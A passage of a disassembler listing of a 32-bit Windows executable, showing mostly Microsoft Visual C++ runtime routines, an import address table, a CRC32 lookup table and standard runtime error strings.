; [000000C8 BYTES: COLLAPSED FUNCTION _mbtowc. PRESS KEYPAD "+" TO EXPAND]
; [00000028 BYTES: COLLAPSED FUNCTION _isspace. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [0000001F BYTES: COLLAPSED FUNCTION __allshl. PRESS KEYPAD "+" TO EXPAND]
; [0000006E BYTES: COLLAPSED FUNCTION _ungetc. PRESS KEYPAD "+" TO EXPAND]
; [00000149 BYTES: COLLAPSED FUNCTION ___crtGetStringTypeA. PRESS KEYPAD "+" TO EXPAND]
; [00000095 BYTES: COLLAPSED FUNCTION __alloc_osfhnd. PRESS KEYPAD "+" TO EXPAND]
; [00000077 BYTES: COLLAPSED FUNCTION __set_osfhnd. PRESS KEYPAD "+" TO EXPAND]
; [0000007A BYTES: COLLAPSED FUNCTION __free_osfhnd. PRESS KEYPAD "+" TO EXPAND]
; [0000003D BYTES: COLLAPSED FUNCTION __get_osfhandle. PRESS KEYPAD "+" TO EXPAND]
; [00000057 BYTES: COLLAPSED FUNCTION __commit. PRESS KEYPAD "+" TO EXPAND]
; [000002B9 BYTES: COLLAPSED FUNCTION __sopen. PRESS KEYPAD "+" TO EXPAND]
; [00000035 BYTES: COLLAPSED FUNCTION __control87. PRESS KEYPAD "+" TO EXPAND]
; [00000016 BYTES: COLLAPSED FUNCTION __controlfp. PRESS KEYPAD "+" TO EXPAND]
; [00000092 BYTES: COLLAPSED FUNCTION __abstract_cw. PRESS KEYPAD "+" TO EXPAND]
; [00000089 BYTES: COLLAPSED FUNCTION __hw_cw. PRESS KEYPAD "+" TO EXPAND]
; [00000049 BYTES: COLLAPSED FUNCTION __ZeroTail. PRESS KEYPAD "+" TO EXPAND]
; [00000056 BYTES: COLLAPSED FUNCTION __IncMan. PRESS KEYPAD "+" TO EXPAND]
; [0000008C BYTES: COLLAPSED FUNCTION __RoundMan. PRESS KEYPAD "+" TO EXPAND]
; [0000001B BYTES: COLLAPSED FUNCTION __CopyMan. PRESS KEYPAD "+" TO EXPAND]
; [0000000C BYTES: COLLAPSED FUNCTION __FillZeroMan. PRESS KEYPAD "+" TO EXPAND]
; [0000001B BYTES: COLLAPSED FUNCTION __IsZeroMan. PRESS KEYPAD "+" TO EXPAND]
; [0000008D BYTES: COLLAPSED FUNCTION __ShrMan. PRESS KEYPAD "+" TO EXPAND]
; [0000016C BYTES: COLLAPSED FUNCTION __ld12cvt. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_4192B5 proc near ; CODE XREF: sub_4192E1+23p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push offset dword_428950
push [esp+4+arg_4]
push [esp+8+arg_0]
call __ld12cvt
add esp, 0Ch
retn
sub_4192B5 endp
; =============== S U B R O U T I N E =======================================
sub_4192CB proc near ; CODE XREF: sub_41930E+23p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push offset dword_428968
push [esp+4+arg_4]
push [esp+8+arg_0]
call __ld12cvt
add esp, 0Ch
retn
sub_4192CB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4192E1 proc near ; CODE XREF: __fassign+12p
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
xor eax, eax
push eax
push eax
push eax
push eax
push [ebp+arg_4]
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_C]
push eax
call ___strgtold12
push [ebp+arg_0]
lea eax, [ebp+var_C]
push eax
call sub_4192B5
add esp, 24h
leave
retn
sub_4192E1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41930E proc near ; CODE XREF: __fassign+2Dp
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
xor eax, eax
push eax
push eax
push eax
push eax
push [ebp+arg_4]
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_C]
push eax
call ___strgtold12
push [ebp+arg_0]
lea eax, [ebp+var_C]
push eax
call sub_4192CB
add esp, 24h
leave
retn
sub_41930E endp
; [00000077 BYTES: COLLAPSED FUNCTION __fptostr. PRESS KEYPAD "+" TO EXPAND]
; [00000064 BYTES: COLLAPSED FUNCTION __fltout. PRESS KEYPAD "+" TO EXPAND]
; [000000B6 BYTES: COLLAPSED FUNCTION ___dtold. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
push 2
call __amsg_exit
pop ecx
retn
; [00000015 BYTES: COLLAPSED FUNCTION ___tzset. PRESS KEYPAD "+" TO EXPAND]
; [0000025E BYTES: COLLAPSED FUNCTION __tzset. PRESS KEYPAD "+" TO EXPAND]
; [000001AC BYTES: COLLAPSED FUNCTION __isindst. PRESS KEYPAD "+" TO EXPAND]
; [00000140 BYTES: COLLAPSED FUNCTION _cvtdate. PRESS KEYPAD "+" TO EXPAND]
; [00000011 BYTES: COLLAPSED FUNCTION __ismbblead. PRESS KEYPAD "+" TO EXPAND]
; [00000031 BYTES: COLLAPSED FUNCTION _x_ismbbtype. PRESS KEYPAD "+" TO EXPAND]
; [00000089 BYTES: COLLAPSED FUNCTION ___crtMessageBoxA. PRESS KEYPAD "+" TO EXPAND]
; [0000007D BYTES: COLLAPSED FUNCTION _calloc. PRESS KEYPAD "+" TO EXPAND]
; [00000058 BYTES: COLLAPSED FUNCTION __fcloseall. PRESS KEYPAD "+" TO EXPAND]
; [00000146 BYTES: COLLAPSED FUNCTION __chsize. PRESS KEYPAD "+" TO EXPAND]
; [00000021 BYTES: COLLAPSED FUNCTION ___addl. PRESS KEYPAD "+" TO EXPAND]
; [0000005E BYTES: COLLAPSED FUNCTION ___add_12. PRESS KEYPAD "+" TO EXPAND]
; [0000002E BYTES: COLLAPSED FUNCTION ___shl_12. PRESS KEYPAD "+" TO EXPAND]
; [0000002D BYTES: COLLAPSED FUNCTION ___shr_12. PRESS KEYPAD "+" TO EXPAND]
; [000000C7 BYTES: COLLAPSED FUNCTION ___mtold12. PRESS KEYPAD "+" TO EXPAND]
; [000004A1 BYTES: COLLAPSED FUNCTION ___strgtold12. PRESS KEYPAD "+" TO EXPAND]
off_41A35C dd offset loc_419F25 ; DATA XREF: ___strgtold12+63r
dd offset loc_419F74 ; jump table for switch statement
dd offset loc_419FCB
dd offset loc_419FF5
dd offset loc_41A050
dd offset loc_41A0C7
dd offset loc_41A0FD
dd offset loc_41A147
dd offset loc_41A126
dd offset loc_41A1AB
dd offset loc_41A195
dd offset loc_41A161
; [00000293 BYTES: COLLAPSED FUNCTION _$I10_OUTPUT. PRESS KEYPAD "+" TO EXPAND]
; [0000007D BYTES: COLLAPSED FUNCTION _getenv. PRESS KEYPAD "+" TO EXPAND]
; [00000076 BYTES: COLLAPSED FUNCTION __setmode. PRESS KEYPAD "+" TO EXPAND]
; [00000220 BYTES: COLLAPSED FUNCTION ___ld12mul. PRESS KEYPAD "+" TO EXPAND]
; [0000007C BYTES: COLLAPSED FUNCTION ___multtenpow12. PRESS KEYPAD "+" TO EXPAND]
; [0000003F BYTES: COLLAPSED FUNCTION __mbsnbicoll. PRESS KEYPAD "+" TO EXPAND]
; [0000006E BYTES: COLLAPSED FUNCTION ___wtomb_environ. PRESS KEYPAD "+" TO EXPAND]
; [0000027D BYTES: COLLAPSED FUNCTION ___crtCompareStringA. PRESS KEYPAD "+" TO EXPAND]
; [00000187 BYTES: COLLAPSED FUNCTION ___crtsetenv. PRESS KEYPAD "+" TO EXPAND]
; [00000058 BYTES: COLLAPSED FUNCTION _findenv. PRESS KEYPAD "+" TO EXPAND]
; [00000067 BYTES: COLLAPSED FUNCTION _copy_environ. PRESS KEYPAD "+" TO EXPAND]
; [00000073 BYTES: COLLAPSED FUNCTION __mbschr. PRESS KEYPAD "+" TO EXPAND]
; [0000002B BYTES: COLLAPSED FUNCTION __strdup. PRESS KEYPAD "+" TO EXPAND]
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_41AFC0 proc near ; CODE XREF: sub_404059+15Dp
jmp ds:dword_41B1D0
sub_41AFC0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_41AFC6 proc near ; CODE XREF: __global_unwind2+13p
jmp ds:dword_41B024
sub_41AFC6 endp
_text ends
; Section 2. (virtual address 0001B000)
; Virtual size : 0000141C ( 5148.)
; Section size in file : 0000141C ( 5148.)
; Offset to raw data for section: 0001B000
; Flags 40000040: Data Readable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read
_rdata segment para public 'DATA' use32
assume cs:_rdata
;org 41B000h
dword_41B000 dd 77E70396h ; DATA XREF: sub_40724A+126r
; WinMain(x,x,x,x)+1B5r ...
dword_41B004 dd 77E6BD68h ; DATA XREF: ___crtsetenv+173r
dword_41B008 dd 77E77F2Eh ; DATA XREF: ___crtCompareStringA+3Er
; ___crtCompareStringA+261r
dword_41B00C dd 77E762D0h ; DATA XREF: ___crtCompareStringA+5Br
; ___crtCompareStringA+B9r
dword_41B010 dd 77E70192h ; DATA XREF: __chsize+F9r
dword_41B014 dd 77E73FF9h ; DATA XREF: __commit+2Cr
dword_41B018 dd 77E7FF2Eh ; DATA XREF: __set_osfhnd:loc_4189FBr
; __free_osfhnd:loc_418A75r
dword_41B01C dd 77E7C866h ; DATA XREF: ___crtGetStringTypeA+3Fr
; ___crtGetStringTypeA+12Dr
dword_41B020 dd 77E641EBh ; DATA XREF: ___crtGetStringTypeA+59r
; ___crtGetStringTypeA+8Dr
dword_41B024 dd 77F6183Eh ; DATA XREF: sub_41AFC6r
dword_41B028 dd 77E78406h ; DATA XREF: __ioinit+FFr
; __ioinit+166r ...
dword_41B02C dd 77E79C3Dh ; DATA XREF: __ioinit+158r
; __NMSG_WRITE+143r
dword_41B030 dd 77E7C931h ; DATA XREF: __ioinit+19Dr
dword_41B034 dd 77E77EE1h ; DATA XREF: ___crtGetEnvironmentStringsA+9r
dword_41B038 dd 77E67702h ; DATA XREF: ___crtGetEnvironmentStringsA:loc_4179CFr
; ___crtGetEnvironmentStringsA+E1r
dword_41B03C dd 77E7C9E1h ; DATA XREF: ___crtGetEnvironmentStringsA+CEr
dword_41B040 dd 77E9C5B1h ; DATA XREF: ___crtGetEnvironmentStringsA+11Fr
dword_41B044 dd 77E77CCEh ; DATA XREF: sub_401000+66r
; sub_4010E3+65r ...
dword_41B048 dd 77E61BE6h ; DATA XREF: sub_4010E3+A9r
; sub_4013EE+2C2r ...
dword_41B04C dd 77E78B82h ; DATA XREF: sub_4013EE+135r
; sub_405680+80r ...
dword_41B050 dd 77E77963h ; DATA XREF: sub_4013EE+120r
; sub_4013EE+150r ...
dword_41B054 dd 77E79D8Ch ; DATA XREF: sub_4013EE+103r
; sub_403520+137r ...
dword_41B058 dd 77E73EACh ; DATA XREF: sub_4013EE+E9r
dword_41B05C dd 77E7A837h ; DATA XREF: sub_4013EE+68r
; sub_403520+5Dr ...
dword_41B060 dd 77F5157Dh ; DATA XREF: sub_4022E3:loc_40241Fr
; sub_4022E3:loc_402543r ...
dword_41B064 dd 77E7AC37h ; DATA XREF: sub_4022E3+10Er
; sub_4022E3+22Dr ...
dword_41B068 dd 77E7A099h ; DATA XREF: sub_4022E3+58r
; sub_4022E3+177r ...
dword_41B06C dd 77E73C49h ; DATA XREF: sub_4027F8+20Er
; sub_402A0C+23Fr ...
dword_41B070 dd 77F7E300h ; DATA XREF: sub_4027F8+13Fr
dword_41B074 dd 77F7E21Fh ; DATA XREF: sub_4027F8+D4r
dword_41B078 dd 77E7751Ah ; DATA XREF: sub_4027F8+32r
; sub_4030D9+27r ...
dword_41B07C dd 77E7C706h ; DATA XREF: sub_402A0C+77r
dword_41B080 dd 77F53275h ; DATA XREF: sub_402A0C+6Br
; sub_402A0C+22Fr
dword_41B084 dd 77E70F89h ; DATA XREF: sub_402D63+Dr _time+Dr
dword_41B088 dd 77E802FCh ; DATA XREF: sub_40318B+18Cr
; sub_40318B+2D4r ...
dword_41B08C dd 77E6D75Bh ; DATA XREF: sub_40318B+182r
; sub_410A5A+FFr
dword_41B090 dd 77E75CB5h ; DATA XREF: sub_403520+478r
; sub_403DCB+DFr ...
dword_41B094 dd 77E61BB8h ; DATA XREF: sub_403520+462r
; sub_403DCB+A7r ...
dword_41B098 dd 77E704FCh ; DATA XREF: sub_403DCB+74r
; WinMain(x,x,x,x)+C7r ...
dword_41B09C dd 77E64106h ; DATA XREF: sub_404BCC+9Fr
; sub_410E85+1B6r
dword_41B0A0 dd 77E64006h ; DATA XREF: sub_404BCC+8Br
; sub_410E85+19Fr
dword_41B0A4 dd 77E793EFh ; DATA XREF: sub_404D4E+1EEr
; sub_405680+38r
dword_41B0A8 dd 77E74CABh ; DATA XREF: sub_404D4E+110r
; sub_40724A+10Fr ...
dword_41B0AC dd 77E78EAAh ; DATA XREF: sub_404FFE+5E8r
dword_41B0B0 dd 77E79424h ; DATA XREF: sub_404FFE+27Br
dword_41B0B4 dd 77E794BFh ; DATA XREF: sub_404FFE+26Dr
dword_41B0B8 dd 77E75E67h ; DATA XREF: sub_404FFE+20Dr
; sub_404FFE+5D7r
dword_41B0BC dd 77E75D9Eh ; DATA XREF: sub_404FFE+1FCr
dword_41B0C0 dd 77E78C81h ; DATA XREF: sub_405680+6Cr
; __lseek+4Fr
dword_41B0C4 dd 77E805D8h ; DATA XREF: sub_405EFF+13Ar
; sub_405EFF:loc_406395r ...
dword_41B0C8 dd 77E7A5FDh ; DATA XREF: sub_405EFF+11r
; __ms_p5_mp_test_fdiv+15r ...
dword_41B0CC dd 77E79F93h ; DATA XREF: sub_405EFF+2r
; sub_40724A+FBr ...
dword_41B0D0 dd 77E76A60h ; DATA XREF: sub_40703D+2Dr
dword_41B0D4 dd 77E71B14h ; DATA XREF: sub_4070C7+26r
dword_41B0D8 dd 77E7166Fh ; DATA XREF: sub_4070C7+1Dr
dword_41B0DC dd 77E75090h ; DATA XREF: sub_407102+69r
dword_41B0E0 dd 77E74D76h ; DATA XREF: sub_407102+36r
dword_41B0E4 dd 77E77797h ; DATA XREF: sub_407102+25r
dword_41B0E8 dd 77E7011Ah ; DATA XREF: sub_407184+96r
dword_41B0EC dd 77E73CE2h ; DATA XREF: sub_407184+60r
dword_41B0F0 dd 77E668D9h ; DATA XREF: sub_40724A+15Dr
dword_41B0F4 dd 77E6AD34h ; DATA XREF: sub_40724A+35r
; sub_409557+35E2r
dword_41B0F8 dd 77E79924h ; DATA XREF: ___crtLCMapStringA+20Dr
; ___crtGetEnvironmentStringsA+7Er ...
dword_41B0FC dd 77E65F4Ch ; DATA XREF: sub_40822D+34r
; .text:0040F7A1r
dword_41B100 dd 77E79C90h ; DATA XREF: sub_408849+Cr
; sub_40F002+79r ...
dword_41B104 dd 77E616B4h ; DATA XREF: sub_4088B4+113r
; sub_4088B4+21Br ...
dword_41B108 dd 77E76A2Eh ; DATA XREF: sub_4088B4+DEr
dword_41B10C dd 77E706B7h ; DATA XREF: sub_4088B4+B9r
; sub_408BC1+10r ...
dword_41B110 dd 77E73628h ; DATA XREF: WinMain(x,x,x,x)+33Br
; sub_409557+3E6Cr ...
dword_41B114 dd 77E80656h ; DATA XREF: WinMain(x,x,x,x)+267r
dword_41B118 dd 77E6BD13h ; DATA XREF: WinMain(x,x,x,x):loc_408DD3r
dword_41B11C dd 77E79D5Bh ; DATA XREF: WinMain(x,x,x,x)+6Br
; WinMain(x,x,x,x)+311r
dword_41B120 dd 77E7C2C4h ; DATA XREF: WinMain(x,x,x,x)+64r
dword_41B124 dd 77E75CEBh ; DATA XREF: sub_409557+40C0r
; sub_40FC5F+9Fr ...
dword_41B128 dd 77E71AFEh ; DATA XREF: sub_409557+34ACr
dword_41B12C dd 77E7FF65h ; DATA XREF: sub_40EEAD+5Ar
dword_41B130 dd 77EB7624h ; DATA XREF: sub_40EEAD+3Dr
dword_41B134 dd 77E79CE3h ; DATA XREF: sub_40F002+91r
; sub_40FEA9+77r
dword_41B138 dd 77E7727Ah ; DATA XREF: sub_40F002+3Br
; sub_40FDB0+23r
dword_41B13C dd 77E76968h ; DATA XREF: sub_40F445+5Fr
dword_41B140 dd 77E7513Ch ; DATA XREF: .text:0040F838r
dword_41B144 dd 77E7C657h ; DATA XREF: .text:0040F8ACr
; sub_410E85+24r
dword_41B148 dd 77E74C59h ; DATA XREF: sub_40FC5F+C7r
dword_41B14C dd 77EC7C51h ; DATA XREF: sub_410034+5Er
dword_41B150 dd 77E76C1Ah ; DATA XREF: sub_410E85+1CFr
dword_41B154 dd 77F516F8h ; DATA XREF: __heap_alloc+2Er
; _realloc+AFr ...
dword_41B158 dd 77F51597h ; DATA XREF: _free+27r
; ___sbh_free_block+2C4r ...
dword_41B15C dd 77F5722Fh ; DATA XREF: _realloc+F0r
; ___sbh_alloc_new_region+28r
dword_41B160 dd 77E76E3Dh ; DATA XREF: _time+6Cr __tzset+38r
dword_41B164 dd 77E61608h ; DATA XREF: _time+17r
dword_41B168 dd 77E6177Ah ; DATA XREF: start+9Fr __ioinit+59r
dword_41B16C dd 77E7C938h ; DATA XREF: start+74r
dword_41B170 dd 77E7C486h ; DATA XREF: start+26r
dword_41B174 dd 77E76E0Bh ; DATA XREF: __heap_init+2Fr
dword_41B178 dd 77E7C726h ; DATA XREF: __heap_init+11r
dword_41B17C dd 77E79E34h ; DATA XREF: ___sbh_free_block+23Fr
dword_41B180 dd 77E7980Ah ; DATA XREF: ___sbh_alloc_new_region+76r
; ___sbh_alloc_new_group+51r
dword_41B184 dd 77E77405h ; DATA XREF: ___crtLCMapStringA+5Er
; ___crtLCMapStringA+A7r
dword_41B188 dd 77E781F9h ; DATA XREF: ___crtLCMapStringA+42r
; ___crtLCMapStringA+14Dr ...
dword_41B18C dd 77E7849Fh ; DATA XREF: __setmbcp+48r
; _setSBUpLow+14r ...
dword_41B190 dd 77E7A13Fh ; DATA XREF: _getSystemCP+2Fr
dword_41B194 dd 77E6C703h ; DATA XREF: _getSystemCP+1Ar
dword_41B198 dd 77EB9A84h ; DATA XREF: __XcptFilter+138r
align 10h
dword_41B1A0 dd 71AB12F8h ; DATA XREF: sub_40465A+35r
dword_41B1A4 dd 71AB3E5Dh ; DATA XREF: sub_40465A+57r
dword_41B1A8 dd 71AB1836h ; DATA XREF: sub_40465A+6Er
; sub_4046D7+8Er
dword_41B1AC dd 71AB41DAh ; DATA XREF: sub_404059+47r
; sub_40465A+15r
dword_41B1B0 dd 71AB3C22h ; DATA XREF: sub_404059+78r
; sub_40465A+21r
dword_41B1B4 dd 71AB3F8Dh ; DATA XREF: sub_404059+91r
dword_41B1B8 dd 71AB155Ah ; DATA XREF: sub_404059+A1r
dword_41B1BC dd 71AB1746h ; DATA XREF: sub_404059+B7r
; sub_40465A+41r
dword_41B1C0 dd 71AB3ECEh ; DATA XREF: sub_404059+C8r
dword_41B1C4 dd 71AB5DE2h ; DATA XREF: sub_404059+DCr
dword_41B1C8 dd 71AB1AF4h ; DATA XREF: sub_404059+E8r
; sub_4046D7+66r
dword_41B1CC dd 71AB1890h ; DATA XREF: sub_404059+119r
dword_41B1D0 dd 71AB1B7Bh ; DATA XREF: sub_41AFC0r
dword_41B1D4 dd 71AB868Dh ; DATA XREF: sub_404059+184r
dword_41B1D8 dd 71AB5690h ; DATA XREF: sub_404059+1F4r
dword_41B1DC dd 71AB1A6Dh ; DATA XREF: sub_404059+245r
; sub_40465A+68r ...
dd 2 dup(0)
dword_41B1E8 dd 0 ; DATA XREF: sub_40302C+26r
dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh
dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h, 0E0D5E91Eh
dd 97D2D988h, 9B64C2Bh, 7EB17CBDh, 0E7B82D07h, 90BF1D91h
dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh, 1ADAD47Dh
dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h, 646BA8C0h
dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h, 0FA0F3D63h
dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h, 0A2677172h
dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh
dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h
dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h
dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh
dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h
dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h
dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h
dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh, 0E10E9818h
dd 7F6A0DBBh, 86D3D2Dh, 91646C97h, 0E6635C01h, 6B6B51F4h
dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh, 1B01A57Bh
dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h, 8BBEB8EAh
dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h, 0FBD44C65h
dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h
dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh
dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh
dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h
dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh
dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h
dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch
dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h
dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h, 0E40ECF0Bh
dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h, 8708A3D2h
dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh, 196C3671h
dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah, 67DD4ACCh
dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h, 0D6D6A3E8h
dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h
dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h
dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h
dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h
dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h
dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh
dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch, 26D930Ah
dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h
dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh, 0E5D5BE0Dh
dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h, 68DDB3F8h
dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h, 18B74777h
dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch, 8F659EFFh
dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh
dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh
dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h
dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch
dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h
dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h
dd 2A6F2B94h, 0B40BBE37h
byte_41B5DC db 0A1h ; DATA XREF: __output+4Ar
db 8Eh, 0Ch, 0C3h
dd 5A05DF1Bh, 2D02EF8Dh
dbl_41B5E8 dq 9.765625e-4 ; DATA XREF: sub_403520+2BDr
; sub_403520+2D8r ...
dword_41B5F0 dd 0FFFFFFFFh, 413DBBh, 413DCFh ; DATA XREF: start+5o
byte_41B5FC db 6 ; DATA XREF: __output:loc_414B25r
db 2 dup(0), 6
dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h
dd 50h, 38282000h, 8075850h, 30303700h, 75057h, 8202000h
dd 0
db 8,'`h````',0
dd 78707000h, 8787878h, 807h, 8080007h, 8000008h, 7000800h
dd 8
aNull_0: ; DATA XREF: .data:off_4280F4o
unicode 0, <(null)>,0
align 4
aNull db '(null)',0 ; DATA XREF: .data:off_4280F0o
align 10h
dbl_41B670 dq 1.0 ; DATA XREF: __ms_p5_test_fdiv+2Ar
dbl_41B678 dq 4.195835e6 ; DATA XREF: __ms_p5_test_fdiv+Fr
dbl_41B680 dq 3.145727e6 ; DATA XREF: __ms_p5_test_fdiv+6r
aIsprocessorfea db 'IsProcessorFeaturePresent',0 ; DATA XREF: __ms_p5_mp_test_fdiv+Fo
align 4
aKernel32 db 'KERNEL32',0 ; DATA XREF: __ms_p5_mp_test_fdivo
align 10h
dbl_41B6B0 dq 0.0 ; DATA XREF: __positive+6r
; char aE000[]
aE000 db 'e+000',0 ; DATA XREF: __cftoe+93o
align 10h
dword_41B6C0 dd 2 dup(0) ; DATA XREF: ___crtLCMapStringA+36o
; ___crtGetStringTypeA+39o ...
dword_41B6C8 dd 0FFFFFFFFh, 416C59h, 416C5Dh, 0FFFFFFFFh, 416D0Dh, 416D11h
; DATA XREF: ___crtLCMapStringA+5o
dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h
dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0
aDomainError db 'DOMAIN error',0Dh,0Ah,0
align 10h
aR6028UnableToI db 'R6028',0Dh,0Ah
db '- unable to initialize heap',0Dh,0Ah,0
align 4
aR6027NotEnough db 'R6027',0Dh,0Ah
db '- not enough space for lowio initialization',0Dh,0Ah,0
align 10h
aR6026NotEnough db 'R6026',0Dh,0Ah
db '- not enough space for stdio initialization',0Dh,0Ah,0
align 4
aR6025PureVirtu db 'R6025',0Dh,0Ah
db '- pure virtual function call',0Dh,0Ah,0
align 10h
aR6024NotEnough db 'R6024',0Dh,0Ah
db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
align 4
aR6019UnableToO db 'R6019',0Dh,0Ah
db '- unable to open console device',0Dh,0Ah,0
align 4
aR6018Unexpecte db 'R6018',0Dh,0Ah
db '- unexpected heap error',0Dh,0Ah,0
align 4
aR6017Unexpecte db 'R6017',0Dh,0Ah
db '- unexpected multithread lock error',0Dh,0Ah,0
align 4
aR6016NotEnough db 'R6016',0Dh,0Ah
db '- not enough space for thread data',0Dh,0Ah,0
aAbnormalProgra db 0Dh,0Ah
db 'abnormal program termination',0Dh,0Ah,0
align 4
aR6009NotEnough db 'R6009',0Dh,0Ah
db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough db 'R6008',0Dh,0Ah
db '- not enough space for arguments',0Dh,0Ah,0
align 10h
aR6002FloatingP db 'R6002',0Dh,0Ah ; DATA XREF: .data:off_42863Co
db '- floating point not loaded',0Dh,0Ah,0
align 4
aMicrosoftVisua db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: __NMSG_WRITE+119o
align 10h
; char asc_41B990[]
asc_41B990 db 0Ah ; DATA XREF: __NMSG_WRITE+F1o
db 0Ah,0
align 4
; char aRuntimeErrorPr[]
aRuntimeErrorPr db 'Runtime Error!',0Ah ; DATA XREF: __NMSG_WRITE+D3o
db 0Ah
db 'Program: ',0
align 10h
; char a___[]
a___ db '...',0 ; DATA XREF: __NMSG_WRITE+BFo
; char aProgramNameUnk[]
aProgramNameUnk db '<program name unknown>',0 ; DATA XREF: __NMSG_WRITE+7Do
align 10h
dword_41B9D0 dd 0FFFFFFFFh, 4188C6h, 4188CAh ; DATA XREF: ___crtGetStringTypeA+5o
aSunmontuewedth db 'SunMonTueWedThuFriSat',0
align 4
aJanfebmaraprma db 'JanFebMarAprMayJunJulAugSepOctNovDec',0
align 4
; char VarName[]
VarName db 'TZ',0 ; DATA XREF: __tzset+Ao
align 10h
aGetlastactivep db 'GetLastActivePopup',0 ; DATA XREF: ___crtMessageBoxA+3Do
align 4
aGetactivewindo db 'GetActiveWindow',0 ; DATA XREF: ___crtMessageBoxA+35o
aMessageboxa db 'MessageBoxA',0 ; DATA XREF: ___crtMessageBoxA+24o
; char a1Qnan[]
a1Qnan db '1#QNAN',0 ; DATA XREF: _$I10_OUTPUT:loc_41A481o
align 4
; char a1Inf[]
a1Inf db '1#INF',0 ; DATA XREF: _$I10_OUTPUT+D8o
align 10h
a1Ind db '1#IND',0 ; DATA XREF: _$I10_OUTPUT+C7o
align 4
a1Snan db '1#SNAN',0 ; DATA XREF: _$I10_OUTPUT+ADo
align 10h
dword_41BA70 dd 0FFFFFFFFh, 41AC12h, 41AC16h, 0FFFFFFFFh, 41AC81h, 41AC85h
; DATA XREF: ___crtCompareStringA+5o
